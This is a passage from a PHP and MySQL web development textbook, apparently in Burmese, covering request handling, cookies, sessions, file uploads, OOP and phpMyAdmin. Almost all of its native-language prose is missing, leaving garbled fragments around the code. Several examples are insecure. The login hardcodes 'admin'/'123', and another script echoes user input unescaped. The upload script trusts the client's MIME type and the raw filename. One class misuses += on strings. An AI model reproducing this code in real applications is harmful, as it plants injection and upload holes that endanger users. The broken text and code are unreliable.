(-) PHP Numeric Array


$array Index [2] Index [3]
Array Index [0], [1] [4]
Array
Array Associative Array Numeric Array
$arr = array();
$arr["foo"] = "Apple";
$arr["bar"] = "Orange";
$arr["baz"] = "Mango";

( )
$arr = array("foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango");

array() Function JSON Key Value Colon ( : )


PHP Associative Array Key Value ( => )
Associative Array Numeric Array
(-)

Professional Web Developer () PHP Basic

204

(-) PHP Associative Array


(-) $array[foo]

Key Single Quote Double Quote -

Array Index

echo $array['baz']['a'];

Array Index Key Quote PHP


Array Index Key Quote PHP
Performance

8.6 Request Handling with PHP

Document
- Google Search
PHP Request

URL Query String
- "heaviest bells" Keywords Search Result URL
Query String Google Request

Professional Web Developer () PHP Basic

205

http://www.google.com/search?q=heaviest+bells
Search Result Page search Request q=heaviest+bells
Query String Google Server-side Script "heaviest bells" Keywords
Result
Query String URL Resource Location Question Mark (?)
Sign
Key=Value
q=heaviest+bells q Key heaviest+bells Value Key=Value
Ampersand ( & ) http://www.google.com/search?q=heaviest+bells&hl=my
q=heaviest+bells hl=my &
&

(-) Query String


(-) Browser Screenshot URL Bar
Request URL heaviest bells
hl=my
Interface
PHP URL Query String Associative Array $_GET Superglobal
Variable Superglobal Variable PHP

Professional Web Developer () PHP Basic

206

Language Variable
(-)

(-) Query String and $_GET Superglobal


URL Query String
$_GET Variable PHP Script

$_GET Superglobal Variable Superglobal

Underscore ( $_ )
( - $_GET, $_POST, $_COOKIE, $_SESSION )

Query String

HTML Form HTML Form

HTML Form PHP
HTML Form

Professional Web Developer () PHP Basic

207


<form action="login.php" method="get">
<input type="text" name="email">
<input type="password" name="password">
<input type="submit" value="Login">
</form>

HTML <form> Element action method Attribute action


Attribute Value PHP Script URL
login.php
Form login.php
Script Form Document Script Folder Root
URL Folder
Script Name
method Attribute HTTP Request Method ()
HTTP Request Method Request
Method Method W3C

GET Method GET Method Request


Server POST Method Server
- Document
Database
PUT Method Server
DELETE Method Server

GET, POST, PUT, DELETE Method GET POST Form


Browser GET POST Support
PHP, jQuery GET POST Support GET
POST
PUT DELETE Form Application Web
Service API

<form> Element action Attribute Form
Script URL method
Attribute get post HTML Attribute Value

Professional Web Developer () PHP Basic

208

get
Form Input name Attribute
Submit Button Form (-)

(-) HTML Form

8.7 GET Requests

htdocs Folder auth Folder


index.php login.php File index.php HTML
Structure <body> Form
<form action="login.php" method="get">
<label for="email">Email (or) User ID</label><br>
<input type="text" name="email" id="email"><br>
<label for="password">Password</label><br>
<input type="password" name="password" id="password"><br><br>
<input type="submit" value="Login">
</form>

Email Password Input

Submit Button Form

Professional Web Developer () PHP Basic

209

Browser http://localhost/auth/ (-)


(-) Login Form in Browser


Browser URL Bar auth Folder Name
Login Form Document index.php XAMPP
index.php ( ) index.html Folder Home Page Web Server
index.php ( ) index.html Document Folder
Directory Browsing index.php Directory
Browsing index.php index.php

login.php HTML <body>


PHP Code

<?php
$email = $_GET['email'];
$password = $_GET['password'];
if($email && $password)
echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>

Login Form Email Password Submit Button ()

Professional Web Developer () PHP Basic

210

(-) Request From Login Form


Browser URL Bar URL
http://localhost/auth/login.php ?email=test%40gmail.com&password=123abc45
login.php Query String
name= "email" Input test@gmail.com Query String
email=test%40gmail.com name="password"
Input Query Value

Web URL Space Special Character Browser @ Sign


%40 Encode Special Character Code

Form Value
Browser Encode Encode
PHP urlencode() Function urlencode() Function URL
Special Character Encode

Form Query String URL


Form Browser Query String Request
Code
$email = $_GET['email'];
$password = $_GET['password'];

if($email && $password)

echo "Hello, you have provided <b>$email</b> as your login ID ",

"and your password is <b>$password</b>.";

Professional Web Developer () PHP Basic

211

else

echo "Login ID or password missing! ",

"Please <a href='index.php'>try again</a>.";

Form Input Query String


$_GET Variable Array $_GET Array
email Index $email Variable
$password Variable $_GET Array password Index

Query String PHP $_GET Superglobal Variable
Query String $_GET Variable
URL Bar URL GET Request
Method GET Default Method GET Request Method
$_GET Variable

$email $password if()



"Hello, " Message
$email $password else Block
"Login ID or password missing!" Message
Comma echo Keyword
Comma

if Statement
JavaScript if Statement

()

Message HTML Element


email password Message try again
index.php Link <a> Element
Form email, password Submit
Button

8.8 POST Requests

index.php <form> method post


<form action="login.php" method="post">


<label for="email">Email (or) User ID</label><br>
<input type="text" name="email" id="email"><br>

Professional Web Developer () PHP Basic

212

<label for="password">Password</label><br>
<input type="password" name="password" id="password"><br><br>
<input type="submit" value="Login">
</form>

Request Method login.php


<?php
$email = $_POST['email'];
$password = $_POST['password'];
if($email && $password)
echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>

$_GET Variable $_POST Variable PHP Request Method


GET $_GET Superglobal Request Method POST
$_POST Superglobal

Form Method post Submit Button
login.php Query String POST Request
GET Request Query String URL
Request Body Submit Button login.php
Keyborad F5 URL Bar Reload Button
Document Refresh (-) Confirm Message

Professional Web Developer () PHP Basic

213

(-) POST Confirmation


index.php Document Reload
Server Request Data
Confirm Resend
Button Server Data Document Reload

8.9 $_REQUEST Superglobal

Request Method $_REQUEST


Superglobal - login.php

<?php
$email = $_REQUEST['email'];
$password = $_REQUEST['password'];
if($email && $password)
echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>

GET Request
$_GET Superglobal POST Request

$_POST Superglobal PUT,
DELETE Method
Request Value Variable
$_REQUEST Superglobal Method PUT, DELETE Method

Professional Web Developer () PHP Basic

214

8.10 Cookie and Session

HTTP Pull Technology Stateless ()


Pull Technology

Client Stateless




Request
- Website /
( ) Server
Server (Stateless )
Document Request
Request

Cookie HTTP Cookie


Magic Cookie

Magic Cookie

(-) Cookie

(-) The Origin of the name HTTP Cookie

Professional Web Developer () PHP Basic

215

Cookie Web Browser


Server Request Request Browser

Cookie Browser Request


Request Server
PHP Server-side Respond
Browser Cookie
setcookie("gender", "male");

setcookie() Function gender="male" Cookie


Browser Request gender="male"
Cookie Request $_REQUEST
Superglobal Request Data
Cookie
PHP Cookie Data $_COOKIE Superglobal Variable
Code Cookie

$sex = $_COOKIE["gender"];
if($sex == "male") {
// do something
} else {
// do something
}

Request Cookie $_COOKIE Superglobal $_COOKIE


gender Index $sex Variable

Cookie setcookie() Function


setcookie("gender", "m");


gender="male" gender="m"
Cookie Expire Time
Cookie Expire
Time setcookie() Function -

Professional Web Developer () PHP Basic

216

setcookie("gender", "female", time() + 3600);

Cookie Name Cookie Value Expire Time time()


Function Timestamp 3600
Cookie

( ) Browser
Expire Time
setcookie("gender", "female", time() + 60 * 60 * 24 * 7);


PHP
Cookie
Cookie Application
Web Browser Cookie Extension
Browser "Clear Private Data" Option Cookie


setcookie() Function Expire Time Cookie
Browser Browser Cookie
Cookie Browser
Firefox Web Browser Cookie Google Chrome

Cookie setcookie() Function Expire Time Minus
setcookie("gender", "", time() - 3600);

Cookie
Browser
Respond Browser Cookie

Cookie Session Request


Session Data
Session Data Web Server Browser Session Data Token

Access Key Request Session Token Request
Web Server Token Session Data

Professional Web Developer () PHP Basic

217


Cookie Session
Cookie Browser Session
Web Server Cookie
Session Server-side PHP Variable Object
Cookie Expire Time
Session Expire Time
Browser
Browser Session
Cookie Session Cookie Client-side
Browser Request Client-Server
Session Server-side
Session Server Storage
Server Cookie
Browser Developer


session_start() Function PHP Session $_SESSION
Session session_start() Function
Session
session_start();
$_SESSION["gender"] = "male";

session_start() Function $_SESSION Superglobal Index


setcookie() Function
Session
session_start();
$sex = $_SESSION["gender"];
if($sex == "male") {
// do something
} else {
// do something
}

Session session_start() Function


session_start() Function "Session
" Session

Professional Web Developer () PHP Basic

218

session_start();
unset( $_SESSION["gender"] );

unset() Function unset() Function Array Index


Variable Function Session Array
Variable unset()

8.11 User Login Example

Request User Login Session


Login auth
Folder index.php
<?php
session_start();
$auth = isset($_SESSION['auth']);
?>
<!doctype html>
<html>
<head>
<title>Home Page</title>
<style>
body {
background: #efefef;
font-family: arial;
color: #333;
}
#wrap {
width: 500px;
padding: 20px;
margin: 10px auto;
border: 4px solid #ddd;
background: #fff;
}
h1 {
margin: 0 0 20px 0;
padding: 0 0 10px 0;
border-bottom: 1px solid #ddd;
}
input[type=text], input[type=password] {
display: block;
margin-bottom: 10px;
}
.msg {
width: 500px;
background: #ffd;

Professional Web Developer () PHP Basic

219

border: 2px solid #dda;


text-align: center;
margin: 10px auto;
font-size: 13px;
padding: 6px;
}
</style>
</head>
<body>
<div id="wrap">
<?php if($auth) { ?>
<h1>Welcome to My Website</h1>
<p>You see this because you are an authenticated user. Congratulation!</p>
<b><?php echo $_SESSION['id'] ?></b>
<a href="logout.php">Logout</a>
<?php } else { ?>
<h1>You need to login</h1>
<form action="login.php" method="post">
<label for="id">User ID</label>
<input type="text" name="id" id="id">
<label for="password">Password</label>
<input type="password" name="password" id="password">
<input type="submit" value="Login">
</form>
<?php } ?>
</div>
</body>
</html>

session_start() Function Document Content


Document
$_SESSION Variable auth Index
isset() Function isset() Function Array Index
Variable Function auth Index

Login Information

Login $_SESSION auth Index

<body> Content Login Welcome Message
Content Login Login Form
Browser http://localhost/auth/
Login Form
login.php Code

Professional Web Developer () PHP Basic

220

<?php
session_start();
$id = $_POST['id'];
$password = $_POST['password'];
if($id == "admin" && $password == "123") {
$_SESSION['auth'] = true;
$_SESSION['id'] = "Admin";
}
header("location: index.php");
?>

login.php HTML PHP Code index.php


id password $_POST Variable id admin,
password 123 $_SESSION auth Index
true id Index Admin
header("location: index.php");

-
index.php Redirect
index.php

Browser URL Bar http://localhost/auth/ Login Form
Document User ID Box admin
Password Box 123

Login Button login.php
login.php $_SESSION index.php
index.php $_SESSION['auth']
Login Form Welcome Message
Logout logout.php auth Folder
logout.php Script Code
<?php
session_start();
unset($_SESSION['auth']);
unset($_SESSION['id']);
header("location: index.php");
?>

logout.php $_SESSION index.php


Logout Link

Professional Web Developer () PHP Basic

221

(-) Login Example


Login/Logout Script Login
Email Activation Remember Login Option Forget Password
Login Register Database

8.12 File Upload

Text File
File Upload File Upload
HTML Form

<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="photo">
<input type="submit" value="Upload">
</form>

File <input type="file"> Element Element


Browser File Option Browser
File Form Submit
File Server
<form> Element File Method POST
GET Method
enctype Attribute Value
multipart/form-data Attribute Server
Binary Data ( File )
Server File Request

Professional Web Developer () PHP Basic

222

(-) Firefox Chrome File Input


PHP Request
File Method POST
File $_POST Superglobal $_FILES Superglobal

(-) $_FILES Superglobal


File
name, type, size, error, tmp_name
Index () Array $_FILES Superglobal name
File type File size File Size Byte
error File Size Connection
Error tmp_name
File

Professional Web Developer () PHP Basic

223

Form Submit File Upload File Upload


File Web Server PHP
Temporary Folder File

htdocs Folder gallery Folder


gallery Folder photo
Folder
index.php upload.php
gallery Folder
index.php
<!doctype html>
<html>
<head>
<title>Photo Gallery</title>
<style>
body {
background: #efefef;
font-family: arial;
}
#wrap {
width: 900px;
margin: 20px auto;
padding: 20px;
border: 6px solid #ddd;
background: #fff;
}
#gallery img {
width: 200px;
margin: 10px;
}
#form {
margin-top: 20px;
padding: 10px;
background: #efefef;
border-top: 2px solid #ddd;
}
</style>
</head>
<body>
<div id="wrap">
<div id="gallery">
<?php
$list = scandir("photo");
for($i=2; $i < count($list); $i++) {
$name = $list[$i];
echo "<img src='photo/$name' width='200'>";
}
?>
</div>

Professional Web Developer () PHP Basic

224

<div id="form">
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="photo">Choose a Photo</label>
<input type="file" name="photo" id="photo">
<input type="submit" value="Upload" />
</form>
</div>
</div>
</body>
</html>

<body> #gallery #form


#gallery
scandir() Function photo Folder File scandir()
Function Folder File Folder Array Function
for() Loop File for() Loop
Variable $i 0 2 scandir() Function
Array Index 0 1 Directory Marker . (Dot) .. (Dot Dot)
Index 2 for() Loop
Parameter count() Function Array Size Function
photo Folder File () count($list) 7 . ..
Index $list Array Index () () Loop
Statements File Name <img>
Element src Attribute photo Folder File
Image #gallery photo Folder
File
#form File Input HTML Form action
upload.php Form Submit File upload.php
upload.php File
<?php
$name = $_FILES["photo"]["name"];
$tmp = $_FILES["photo"]["tmp_name"];
$type = $_FILES["photo"]["type"];
if($type == "image/jpeg" || $type == "image/png" || $type == "image/gif") {
move_uploaded_file($tmp, "photo/$name");
}
header("location: index.php");
?>

$name, $tmp, $type Variable $_FILES Superglobal

File

Professional Web Developer () PHP Basic

225

Name, Temporary Location Type File


JPEG, PNG, GIF Image move_uploaded_file() Function
Temporary Folder File upload Folder
move_uploaded_file() Parameter Upload File Temporary Location
Parameter
Location
header() Function index.php Browser URL
Bar http://localhost/gallery/
Choose a Photo Label File Input Image File
Upload Button upload.php Script upload.php
File photo Folder Image photo Folder
index.php Redirect index.php photo Folder
(-)

(-) Photo Gallery Example


File PHP
File Include

8.13 Server-side Include

JavaScript File CSS File HTML Document


JavaScript CSS Browser
Request Server
CSS JavaScript Client Browser

PHP File Include File

Professional Web Developer () PHP Basic

226

PHP Code Server

Server-side Include File PHP Function


include()
require()
include_once()
require_once()

-
Script config.php Script File include("config.php");

( )
require("config.php");

( )
include_once("config.php");

( )
require_once("config.php");


config.php

File
Path

include() require()
include() Function File
Warning
Code
require() File Error Script

Script File Script


PHP Error Application Code
Base include_once() require_once()

Professional Web Developer () PHP Basic

227


File
File
Error include_once()
require_once()
include() require()

8.14 Operators

Operator, Keyword Control Structure ()


JavaScript
Operator
. (Dot) Operator PHP Dot
Operator JavaScript + Operator
PHP + Operator
Dot Operator $img = '<img src="' . $name . '">';

Variable Dot Operator Java


Script += Operator PHP
.= Operator $msg = "Welcome to my website.";
$msg .= "You see this because ";
$msg .= "you are an authenticated user.";

.= Operator $msg Variable



Comparison Operator Operator JavaScript
PHP
Not Equal-To Operator Not Equal-To
JavaScript != Operator <> Operator
Operator
Logical Operator
AND (&&), OR (||), NOT (!) JavaScript
AND OR and, or Keyword
if($x == $y && $x == 5)

Professional Web Developer () PHP Basic

228

( )
if($x == $y and $x == 5)


OR if($x == $y || $x == 5)

( )
if($x == $y or $x == 5)


Comment Code // Operator
/* */ JavaScript
// # Operator

8.15 Keywords

PHP Variable Dollar Sign


Build-in Keyword
if Language Keyword $if
Variable Function
Keyword
PHP Keyword

__halt_compiler, abstract, and, array, as, break, callable, case, catch,
class, clone, const, continue, declare, default, die, do, echo, else,
elseif, empty, enddeclare, endfor, endforeach, endif, endswitch,
endwhile, eval, exit, extends, final, for, foreach, function, global,
goto, if, implements, include, include_once, instanceof, insteadof,
interface, isset, list, namespace, new, or, print, private, protected,
public, require, require_once, return, static, switch, throw, trait, try,
unset, use, var, while, xor

8.16 Control Structure

PHP Function function Keyword Java


Script Dynamic Type Return Type
Variable Scope Language Function

Professional Web Developer () PHP Basic

229

Variable Local Variable Function


Function
Function Function
Variable Global Variable Function
Global Variable
global Keyword Function
$str = "Myanmar";
function say_hello() {
echo "Hello $str";
}
say_hello();

# => Hello

function say_welcome() {
global $str;
echo "Welcome to $str";
}
say_welcome();

# => Welcome to Myanmar

say_welcome() Function global $str $str Global Variable


Global Variable $str

if, switch, for, while, do-while Control Structure


PHP JavaScript Code Block

Template
if($auth) {
// do something
}

( )
if($auth):
// do something
endif;


Colon (:)
if endif, switch
endswitch, for endfor, while endwhile

PHP Code PHP Code HTML

HTML PHP

Professional Web Developer () PHP Basic

230


Template
foreach() Loop JavaScript Array JSON
Loop for-in Loop PHP for-in foreach()
$arr = array("foo" => "Apple", "bar" => "Orange", "fiz" => "Mango");
foreach($arr as $key => $val) {
echo "$val is $key.";
}
# => Apple is foo.
# => Orange is bar.
# => Mango is fiz.

$arr Loop Array $key Variable


Index $val Variable Value $key $val
Variable
as Keyword => Operator

8.17 Object-oriented Programming in PHP

PHP Language Imperative Language OOP Class


class Keyword
class Animal {
var $legs, $wings;
# constructor
function __construct($legs, $wings) {
$this->legs = $legs;
$this->wings = $wings;
}
function walk() {
# do something
}
static function info() {
return "An Animal";
}
private function calcSpeed() {
# do something
}
}

__construct() Function Constructor Method PHP OOP

Professional Web Developer () PHP Basic

231

Property Method Access Control Modifier Public


info() Method static Class Name
calcSpeed() Method private
Object
Class Object

$unicorn = new Animal(4, 2);
echo $unicorn->legs;
echo Animal::info();
echo $unicorn->calcSpeed();

# => 4
# => "An Animal"
# => Fatal error: Call to private method ...

Object OOP Language new Keyword (Arrow)


-> Operator Object Property Method Java, JavaScript
OOP Language Dot Operator (.) Property Method
PHP -> Operator Class Method info() Class Name
:: Operator calcSpeed() Private Method
PHP Error
OOP () Object, Inheritance, Information Hiding,
Polymorphism Interface PHP Class Object
Private, Pbulic, Static Access Control Modifier Information
Hiding Inheritance extends Keyword Class Inherit
class Dog extends Animal
{
# define methods and properties
}

Dog Class Animal Class Inherit PHP Multiple Inheritance


Static Polymorphism Function Overload
PHP PHP Function Function Signature
func_num_args()
func_get_arg() Function Static Polymorphism
function rectangle() {
$len = func_num_args();
if($len == 1) {
$width = func_get_arg(0);
return $width * $width;
}

Professional Web Developer () PHP Basic

232

if($len == 2) {
$width = func_get_arg(0);
$height = func_get_arg(1);
return $width * $height;
}
}

rectangle() Function Parameters


Function Overload Function
Function Signature Polymorphism
Dynamic Polymorphism Interface
Interface interface Keyword Interface
Class implements Keyword
interface iInputBox
{
public function getValue();
public function setValue($value);
}
class TextBox implements iInputBox
{
private $value;
public function getValue() {
return $this->value;
}
public function setValue($value) {
$this->value = $value;
}
}
class PasswordBox implements iInputBox
{
private $value;
public function getValue() {
$len = strlen($this->value);
for($i=0; $i<$len; $i++) {
$result += "*";
}
return $result;
}
public function setValue($value) {
$this->value = $value;
}
}

Professional Web Developer () PHP Basic

233

TextBox PasswordBox
Class iInputBox Interface
PHP OOP Features

http://php.net/manual/en/language.oop5.php

8.18 Frequently Used Functions

MySQL Database

PHP
Function
explode() - Array
$date = "2013-05-10";
$arr = explode("-", $date);

# => array("2013", "05", "10");

$date Variable Dash ( - )


Array
-----------------------------------------------------------------------------------------implode() - Array
$months = array("Sep", "Apr", "Jun", "Nov");
$str = implode(", ", $months)
# => "Sep, Apr, Jun, Nov"

$months Index Comma+Space (, )

-----------------------------------------------------------------------------------------exit() - Script
exit() die()
-----------------------------------------------------------------------------------------file_exists() - Path File
echo file_exists("C:\xampp\htdocs\auth\index.php");

# => true

Professional Web Developer () PHP Basic

234

file_get_contents() - File Content


$str = file_get_contents("name.txt");

name.txt File $str Variable String


-----------------------------------------------------------------------------------------file() - file_get_contents()
File Content
String

Array
$arr = file("name.txt");

name.txt File $arr Variable Array


-----------------------------------------------------------------------------------------file_put_contents() - File
file_put_contents("welcome.txt", "Hello, World!");

welcome.txt File Hello, World!


welcome.txt File Overwrite
-----------------------------------------------------------------------------------------in_array() - Array
$arr = array("foo", "bar", "fiz");
$check = in_array("foo", $arr);

# => true

-----------------------------------------------------------------------------------------is_array() - Variable Array


$arr = array("foo", "bar", "fiz");
$check = is_array($arr);

# => true

Professional Web Developer () PHP Basic

235

is_dir() - Path Folder


echo is_dir("C:\xampp\htdocs\auth\index.php");

# => false

-----------------------------------------------------------------------------------------list() - Array Variable



$date = date("d-m-Y");
$arr = explode("-", $date);
list($day, $month, $year) = $arr;

# => "12-05-2013"
# => array("12", "05", "2013");
# => $day = 12, $month = 05, $year = 2013

-----------------------------------------------------------------------------------------max() - Array


echo max(2, 5, 8, 1);
$arr = array(21, 32, 43, 12);
echo max($arr);

# => 8
# => 43

-----------------------------------------------------------------------------------------min() - max()

-----------------------------------------------------------------------------------------pathinfo() - Path Array
$path = pathinfo('C:\xampp\htdocs\gallery\upload.php');
echo
echo
echo
echo

$path['dirname'];
$path['basename'];
$path['extension'];
$path['filename'];

#
#
#
#

=>
=>
=>
=>

C:\xampp\htdocs\gallery
upload.php
php
upload

-----------------------------------------------------------------------------------------phpinfo() - PHP Setting Extension



Configuration Application PHP

Professional Web Developer () PHP Basic

236

Setting
-----------------------------------------------------------------------------------------print_r() - Array
$arr = array("foo", "bar", "fiz");
echo $arr;
# => Array
print_r($arr);
# => Array ( [0] => foo [1] => bar [2] => fiz )

-----------------------------------------------------------------------------------------rand() - Random
rand(5, 15) 5 15 Random
-----------------------------------------------------------------------------------------shell_exec() - Command Run shell_exec()
exec() shell_exec() Command
exec() Command Run Run
$str = shell_exec("dir");

$str Variable dir Command Directory List


-----------------------------------------------------------------------------------------sleep() - Script

echo date("h:i:s");
sleep(10);
echo date("h:i:s:");

# => 12:34:20
# => 12:34:30

-----------------------------------------------------------------------------------------sort() - Array

Professional Web Developer () PHP Basic

237

$arr = array("foo", "bar", "fiz", "baz");


sort($arr);
print_r($arr);
# => Array([0] => bar, [1] => baz, [2] => fiz, [3] => foo)

-----------------------------------------------------------------------------------------str_replace() -

$str = "Hello Yangon, beautiful Yangon!";


echo str_replace("Yangon", "Bagan", $str);
# => Hello Bagan, beautiful Bagan!

str_replace() Function Parameter Parameter


Parameter
$str Yangon Bagan
-----------------------------------------------------------------------------------------strlen() -
echo strlen("Hello, World!");

# => 13

-----------------------------------------------------------------------------------------substr() -
echo substr('abcdef', 2, 3);

# => cde

2 3 cde
0
-----------------------------------------------------------------------------------------trim() -
echo trim("

Hello

");

Space

# => Hello

Professional Web Developer () PHP Basic

238

ucwords() - Word

echo ucwords("hello world");

# => Hello World

Database Function JSON


Function
Function

8.19 $_SERVER Superglobal

$_GET, $_POST, $_REQUEST, $_COOKIE, $_SESSION $_FILES


Superglobal Superglobal
$_SERVER Superglobal $_SERVER Superglobal
PHP Script Web Server


$_SERVER Superglobal Superglobal Array

print_r($_SERVER);
/*
Array(
[HTTP_HOST] => localhost
[HTTP_USER_AGENT] => Mozilla/5.0
[HTTP_ACCEPT_ENCODING] => gzip, deflate
[HTTP_CONNECTION] => keep-alive
[HTTP_CACHE_CONTROL] => max-age=0
[PATH] => /sbin:/usr/sbin:/bin:/usr/bin
[SERVER_SOFTWARE] => Apache/2.2.14 (Unix)
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1
[SERVER_PORT] => 80
[REMOTE_ADDR] => 127.0.0.1
[DOCUMENT_ROOT] => /opt/lampp/htdocs
[SCRIPT_FILENAME] => /opt/lampp/htdocs/server/index.php
[REMOTE_PORT] => 32769
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /server/
[SCRIPT_NAME] => /server/index.php
[PHP_SELF] => /server/index.php
[REQUEST_TIME] => 1365787419
);
*/

Professional Web Developer () PHP Basic

239

Server Setting Server Setting


Server (HTTP_HOST), Server IP Address SERVER_ADDR),
Method (REQUEST_METHOD), Script Path (SCRIPT_NAME)
Web Application

8.20 PHP7

PHP Programming Language


Language Design
Language PHP Facebook
Facebook PHP
() HipHop for PHP (HPHPc)
HPHPc Compiler PHP Code C++ Code C++
Code Compile PHP Interpreter
HPHPc HHVM (HipHop Virtual Machine - hhvm.com)
HHVM HPHPc C++ Byte Code Compile
Runtime
Hack (hacklang.org)
Programming Language Facebook
Hack Gradual Type PHP PHP Dynamic Type Language
Hack PHP Code Static Type Dynamic Type
Language
PHP Community HHVM Language Design Hack Developer PHP HHVM
PHP Core Developer Unicode Support
PHP6

PHP6 HHVM
HHVM PHP PHP Community
Hack HPHPc Zephire (zephir-lang.com) Language
HippyVM (hippyvm.com) PHP

PHP Core Team PHPNG
Compiler
PHPNG HHVM Runtime Request
PHP Interpreter % PHP Core
Team HHVM
() PHP Core Team Developer PHP7 PHP Version
PHPNG Release
() Release

Professional Web Developer () PHP Basic

240

PHP Version 5.6.8 PHP5



Major Release PHP6 PHP6 Development ()

PHP PHP6 PHP7
PHP6
Release Version

PHP7 Performance Backward Compatible
PHP Code PHP7
Backward Compatible Backward Compatible
PHP7 Support PHP4 Class Constructor
Alternative PHP Tag Support PHP Class Constructor
OOP __construct() Function
Function Name Class Name PHP7 Function Name
Class Name Class Constructor
PHP Code PHP7
Alternative PHP Tage <% %>
PHP7
PHP7 Language Feature Scalar Type Hint
Return Type Declaration Function Return Data Type
Function Parameter Data Type
function add(float $a, float $b): float {
return $a + $b;
}

Function Parameter float Value Function


Return float PHP7 Release Timeline

https://wiki.php.net/rfc/php7timeline

Professional Web Developer

Professional Web Developer



(Myanmar Tutorials)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () PHP and MySQL

242

() PHP and MySQL


Database Driven Web Applications

MySQL Relational Database Management System (RDBMS)


Open Source MySQL-AB

Sun Microsystem MySQL
Sun Microsystem Sun Microsystem
Oracle MySQL Oracle
MySQL Duel License
Open Source Duel License
MySQL Open Source Source Code
Open Source

Source Code
Version Open Source

MySQL Source Code
Improvement Open Source
MySQL Commercial License
Commercial License
Open Source
Duel License Product
Open
Source Commercial License

MySQL Wordpress, Wikipedia Open Source Software


Database Google, Facebook, Flickr, Twitter

PHP ASP.NET, Java

Oracle, Microsoft SQL Server

RDMS Oracle Sun

Oracle MySQL
Developer MySQL Oracle

MySQL

Professional Web Developer () PHP and MySQL

243

MySQL
Developer Oracle
Sun
MySQL MySQL-AB
MySQL Monty Widenius
MySQL 5.1 Source Code MariaDB MySQL Oracle
MySQL
MySQL MariaDB
Source Code
MySQL
MySQL
My-S-Q-L MySequal


9.1 MySQL Database Administration Tools

MySQL Client-Server MySQL Database Server


Database User
User Access Right
Database Data Model Table Structure
MySQL Server Command Line Tool
XAMPP Install MySQL MySQL CLI
Tool
XAMPP Control Panel MySQL Start
Server XAMPP Windows Install
MySQL CLI Tool C:\xampp\mysql\bin Folder
Command Prompt MySQL Server
C:\xampp\mysql\bin\mysql -u root
C:\xampp\mysql\bin Folder mysql Program Run -u Flag
Database Access User root User Name
root XAMPP Install Default User
mysql> MySQL Console
MySQL Console Query Command
USE cdcol; Enter
mysql> USE cdcol;

Professional Web Developer () PHP and MySQL

244

cdcol XAMPP Install MySQL Database


USE Keyword Database SELECT
* FROM cds;
mysql> SELECT * FROM cds;
+-----------------------------------+------------------+------+----+
| titel
| interpret
| jahr | id |
+-----------------------------------+------------------+------+----+
| Beauty
| Ryuichi Sakamoto | 1990 | 1 |
| Goodbye Country (Hello Nightclub) | Groove Armada
| 2001 | 4 |
| Glee
| Bran Van 3000
| 1997 | 5 |
+-----------------------------------+------------------+------+----+
3 rows in set (0.02 sec)
cds cdcol Database Table
SELECT Query cds Table

Database User Table Structure


Command Graphical User
Interface Admin Tools MySQL Official Admin Tool
MySQL Workbench XAMPP Install MySQL Workbench
Download
http://www.mysql.com/downloads/workbench

(-) MySQL Workbench

Professional Web Developer () PHP and MySQL

245

Navicat, SQLYog, dbForge Studio, Toad, phpMyAdmin,


SQL Buddy, Adminer
phpMyAdmin phpMyAdmin MySQL Workbench, Navicat,
SQLYog Database IDE Tool
PHP
Web Browser Web Based Tool
phpMyAdmin Web Application Database User Table Structure
Tool Web
Hosting phpMyAdmin Default MySQL Admin Tool
Application

9.2 phpMyAdmin

phpMyAdmin Web Browser URL Bar http://localhost/



XAMPP Home Page XAMPP Control Panel Apache MySQL Run
XAMPP Home Page (-) phpMyAdmin
Link

(-) phpMyAdmin Link in XAMPP Home


Link URL http://localhost/phpmyadmin/ phpMyAdmin
XAMPP Home URL

Professional Web Developer () PHP and MySQL

246

(-) phpMyAdmin
(-) phpMyAdmin Interface Interface
MySQL Database
Server Database Dashboard Interface
Location Server Icon localhost MySQL Server Host Name
Database Table Location Location
Bar Databases, SQL, Status, Users Options Main Menu

Application Online Book Store


Store Database Table
phpMyAdmin Main Menu Databases
Database Database Create database Form

(-) phpMyAdmin Databases

Professional Web Developer () PHP and MySQL

247

Create database Box store


Create Button store
Database

Database

store Database Database store
Database

(-) phpMyAdmin A Database


Location Bar Host Name store Database Name
Database Main Menu
Operations Drop the Database (DROP) Option
store Database categories
Table (-) Create table Form Name Field
categories
Number of columns Field 5 Go Button
(-) Table
Wizard

(-) phpMyAdmin Table Wizard


(-)

Professional Web Developer () PHP and MySQL

248

Number of columns 5
Column ()
Input () () Column Name

(-) () id, name, remark, crated_date, modified_date
Column Name id, created_date modified_date
Column Table Column id Column
Unique ID Unique ID
created_date
Table

modified_date

created_date modified_date Application

(name) (remark)
id, created_date, modified_date
Column ()

Database Name, Table Name Column Name


Space Underscore MySQL

Space
Error




() Column Type Select Box MySQL
Data Type Data Type () phpMyAdmin
()
INT VARCHAR
TEXT DATE id Column INT
name Column VARCHAR remark Column
TEXT created_date modified_date DATETIME Column
Type created_date modified_date

DATETIME Column Type
() Length INT, DATE, TEXT DATETIME
Length VARCHAR
VARCHAR Length 1 255 Column
Length VARCHAR Column Type name Column 255 Length

Professional Web Developer () PHP and MySQL

249


() Column Index Method ()
Index Method PRIMARY, UNIQUE, INDEX FULLTEXT Index


MySQL Index
Index
Index Method PRIMARY, UNIQUE INDEX
PRIMARY Index PRIMARY
Table PRIMARY Index
Column PRIMARY Index Column
Table
-
UNIQUE PRIMARY
Column
Table UNIQUE Index Column
INDEX UNIQUE Column

FULLTEXT Method
Search Engine Stop Words Noise Worlds
Rank Index Method
MyISAM Storage Engine
Method
Engine

Storage Engine (-)
id Column PRIMARY Column Index

() Auto Increment (A_I) Auto Increment
Column MySQL 1, 2, 3, 4
Auto Increment
id Column Database

Table PRIMARY Auto Increment id
Column id Column Key
Unique
Key ID

()
Storage Engine Storage Engine
(Create), (Read), (Update), (Delete)

Professional Web Developer () PHP and MySQL

250

MySQL
Create, Read, Update, Delete
CRUD
CRUD Create, Read,
